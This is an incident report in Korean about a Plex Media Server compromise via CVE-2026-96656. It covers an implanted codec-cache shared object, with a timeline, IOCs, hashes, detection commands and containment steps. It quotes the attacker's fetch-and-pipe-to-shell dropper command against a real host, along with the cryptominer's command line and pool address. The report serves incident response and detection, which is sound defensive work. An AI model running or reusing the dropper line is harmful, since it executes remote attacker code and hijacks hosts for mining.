
사고 분석 보고서: Plex Media Server 코덱 캐시의 서명되지 않은 .so가 트랜스코딩할 때마다 드로퍼를 실행함 (CVE-2026-96656) — IOC, STIX, YARA
.so 파일이 트랜스코딩할 때마다 Monero 채굴기를 실행함사건 발생일: 2026-10-17 → 2026-10-18 (UTC+02:00)
취약점: CVE-2026-96656 (CVSS 4.0: 8.6, CISA 지정) — Plex Media Server 1.43.3.10861에서 수정됨
영향받은 버전: Plex Media Server 1.43.2.10687 (Linux, 공식 linuxserver/plex 컨테이너)
상태: 격리됨, 호스트 재구축 불필요 (코덱 캐시 외부에 디스크 상의 지속성 없음)
Plex 서버에 접근할 수 있는 공격자가 zz45fbb275.so라는 이름의 서명되지 않은 공유 객체를 애플리케이션의 코덱 디렉터리에 넣었습니다. 이 디렉터리는 Plex가 스스로 채우고 FFMPEG_EXTERNAL_LIBS를 통해 모든 트랜스코더에 전달하는 디렉터리입니다. 이 객체는 아무것도 내보내지 않고 의존성도 선언하지 않으며, 전체 페이로드는 단일 .init_array 생성자로 구성되어 있어 트랜스코더가 dlopen()하는 순간 실행됩니다.
따라서 모든 트랜스코딩 — 클라이언트가 재생 버튼을 누르거나 라이브러리의 썸네일/분석 작업이 실행될 때 — 마다 다음이 다시 실행되었습니다:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
x12345라는 이름의 xmrig 파생 RandomX 채굴기를 다운로드하여 --rig-id plexdocker 옵션으로 ota.proxystream.st:3333을 대상으로 실행했습니다. cron 작업도, systemd 유닛도, rc 파일 편집도, 변조된 바이너리도 없었습니다: 코덱 캐시가 바로 지속성 메커니즘이었습니다. 채굴기만 종료하면 다음 재생 시 호스트가 다시 감염되었습니다.
| 시간 | 이벤트 |
|---|---|
| 10월 17일 07:50 | 45.194.92.222로부터 첫 WAN 세션; 요청이 guest로 인증된 후 Companion 플레이어를 등록하고 /player/* 및 에이전트 엔드포인트를 구동 |
| 10월 17일 17:20 | …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/에 zz45fbb275.so 생성됨 (디렉터리 mtime 변경; 다른 파일은 나타나지 않음) |
| 10월 17일 17:23 | /tmp/x12345 기록됨 (8,350,992 바이트) |
| 10월 17일 17:40 | 채굴기 실행 중: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, CPU 약 127% |
| 10월 18일 10:48 | 이후 트랜스코딩에 의해 두 번째 드로퍼 체인 생성 — 페이로드가 요청 시 재실행됨 |
| 10월 18일 11:14 | 탐지: PPid가 컨테이너의 PID 1을 가리키는 채굴 프로세스 발견 |
| 10월 18일 11:20–11:35 | 격리: .so 제거, Plex를 1.43.4로 업데이트, 32400 포트에 대한 WAN 접근 차단 |
서버는 인터넷에서 접근 가능했습니다 (Plex 자체의 UPnP 포트 매핑). Plex 로그에는 소스 45.194.92.222가 guest로 인증하고 .so가 나타난 바로 그 분에 에이전트 호출을 발행한 것이 나타나며, 두 번째 주소인 91.92.40.202도 guest 인증으로 나타납니다.
CVE-2026-96656의 공개 설명은 이 아티팩트와 정확히 일치합니다:
Plex Media Server 1.43.3.10861 이전 버전은 관리자 사용자가 로드 시 실행될 수 있는 임의의 파일을 작성할 수 있도록 허용합니다. 환경설정
TranscoderH264Options는 모든 트랜스코딩 시 x264의 옵션 문자열에 그대로 추가됩니다. 시작 시 모든 .so 파일은 서명, 실행 비트 또는 심볼 검사 없이 실행됩니다.
분명히 짚고 넘어가야 할 두 가지 결과:
PR:H). 위의 guest 인증 요청만으로는 파일 쓰기를 설명하지 못하므로, 요청이 어떻게 이루어졌든 서버의 관리자 토큰은 침해된 것으로 취급해야 합니다..so 파일에 대해서는 실행 비트, 서명 또는 심볼 검사가 수행되지 않으므로, 단일 생성자만 가진 아무 동작도 하지 않는 라이브러리가 완전한 페이로드가 됩니다.파일을 기록한 특정 요청은 포착하지 못했습니다 — 드롭은 패킷 캡처가 아니라 파일시스템 타임스탬프와 실행 체인으로 입증됩니다. 영향을 받은 호스트의 TranscoderH264Options 환경설정은 이후 비어 있는 것으로 확인되었으므로, 파일을 기록하는 데 사용된 값은 재설정되었거나 덮어쓰여졌습니다. 이것이 사후에 재구성할 수 없는 체인의 유일한 부분입니다.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
생성자가 로드 시 실행되기 때문에, 객체는 어떤 코덱 API도 구현할 필요가 없습니다. 단지 트랜스코더가 라이브러리를 로드하는 디렉터리에 있기만 하면 됩니다.
탐지할 가치가 있는 배치 세부 사항:
lib*.so가 아닙니다; 코덱 디렉터리의 모든 정상 파일은 그렇게 되어 있습니다
(libh264_decoder.so, libhevc_decoder.so, …). zz는 아마도 마지막에 정렬되도록 선택된 것 같습니다.Codecs/<set-id>-linux-x86_64/)는 일반적으로
Plex 자체의 코덱 다운로드에 의해서만 작성되며, 그 파일들은 모두 lib 접두사를 가집니다.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder는 해당 트리에 속하는
유일한 다른 비-lib 객체입니다.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker는 고정된 운영자 태그로, flow 데이터와 pool 텔레메트리에서 피벗 검색에 유용합니다. 해당 프로세스는 상태 T(중지됨)에서 약 2.3 GB의 RSS를 점유한 채 발견되었습니다. 중지 상태가 무해한 것은 아니며, 재개되면 계속 해싱을 수행합니다.
PPid는 컨테이너의 PID 1(s6-svscan)을 가리켰는데, 이는 실제 부모 프로세스가 이미 종료되었기 때문입니다. 즉, 감독(supervision)이 아니라 재부모화(reparenting)입니다. 실제 실행자는 공유 socketpair를 통해서만 확인할 수 있었습니다. ss -xp는 sh/wget 체인, Plex Transcoder, 튜너 서비스, Plex 서버가 동일한 소켓 쌍에 연결되어 있음을 보여주었고, 실행 중인 Plex Transcoder의 자식 프로세스를 추적하자 드로퍼(dropper)가 그 자식으로 나타났습니다. 트리거는 트랜스코딩 그 자체였습니다.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
EasyAudioEncoder가 아닌 모든 히트는 의심스럽다. 또한 대응하는 lib*.so가 추가되지 않았는데 mtime이 변경된 코덱 디렉터리도 플래그를 지정한다.
CVE-2026-96656이 임의 파일 쓰기에 악용하는 환경설정을 확인한다:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
비어 있지 않은 값은 반드시 확인해야 한다 — 이 값은 모든 트랜스코딩 시 x264의 옵션 문자열에 그대로 추가되며, 그 안에 파일 이름 형태로 들어 있는 내용은 결국 디스크에 기록된다. 이 호스트에서는 사고 이후 해당 값이 비어 있었으므로, 부재가 곧 부재의 증거는 아니다: 파일의 mtime과 대조해 확인해야 한다.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f를 패턴만 지정해 실행하면 해당 명령을 실행 중인 셸 자체가 종료됩니다(패턴이 그 셸의 명령줄 일부이기 때문입니다). 대괄호 형식을 사용하거나 PID로 종료하세요.
WAN 주소에서의 게스트 인증에 이어 에이전트/컴패니언 활동이 발생하고, 같은 분에 코덱 디렉터리에 새 파일이 나타나는지 확인하세요:
Auth: authenticating user as guest
Request: [<wan-ip>:<port> (WAN)] GET /identity
Request: [<wan-ip>:<port> (WAN)] GET /player/proxy/poll …
Request: [127.0.0.1:<port> (Loopback)] POST /system/agents/z/searchOne …
yara/plex_codec_implant.yar — 세 가지 규칙: 생성자 전용 드로퍼 객체, 여기서 사용된
xmrig 빌드, 그리고 일반적인 이름 변경된 xmrig 규칙. 모두 문자열/ELF 기반이며, 실행하는 데
샘플이 필요하지 않습니다.
.so를 먼저 제거하십시오 — 로더가 존재하는 상태에서 마이너를 종료하면 다시 활성화될 뿐입니다.sh/wget/마이너 체인을 PID로 종료하십시오 (리터럴 IP와 함께 pkill -f를 사용하면
자신의 셸과 일치하게 됩니다 — 217[.]60[.]194와 같은 문자 클래스를 사용하십시오).Docker is used for versioning skip update check); 이미지를
풀하고 컨테이너를 다시 생성해야 합니다.OUTPUT 및 DOCKER-USER에서 차단하고 (포워딩된
컨테이너 트래픽은 OUTPUT에 도달하지 않습니다), netfilter-persistent save로 영구 저장하십시오.lib가 아닌 .so 파일을 격리하는 5분 주기 작업입니다.| 유형 | 값 | 컨텍스트 |
|---|---|---|
| sha256 | a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f | Plex 코덱 캐시 임플란트 (1,036,800 B) |
| sha256 | b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 | x12345, xmrig/RandomX (8,350,992 B) |
| url | http://217.60.194.116/docker | 임플란트가 가져오는 드로퍼; 동일 호스트가 /plex, /x, /lmaoi686을 제공한 적이 있음 — 해당 호스트의 모든 경로를 드로퍼로 간주하십시오 |
| ip | 217.60.194.116 | 드로퍼 호스트 — AS213900 RS Computers L.L.C (AE) |
| domain | ota.proxystream.st → 77.90.185.205 | 마이닝 풀, tcp/3333 |
| ip | 77.90.185.205 | 풀 — AS213790 Limited Network LTD (GB) |
| ip | 45.194.92.222 | 세션 소스 — AS215925 VPSVAULT.HOST LTD (GB) |
| ip | 91.92.40.202 | 세션 소스 — AS197170 TechTies Inc. (SC) |
| path | …/Codecs/<set-id>-linux-x86_64/zz*.so | 드롭 위치 |
| path | /tmp/x12345, /tmp/sh.lock | 마이너 + 단일 인스턴스 잠금 |
| arg | --rig-id plexdocker, --donate-level 5 | 운영자 태그 |
기계 판독 가능: iocs.csv, stix-bundle.json.
ld.so.preload 없음, authorized_keys 변경 없음, 셸 rc 편집 없음.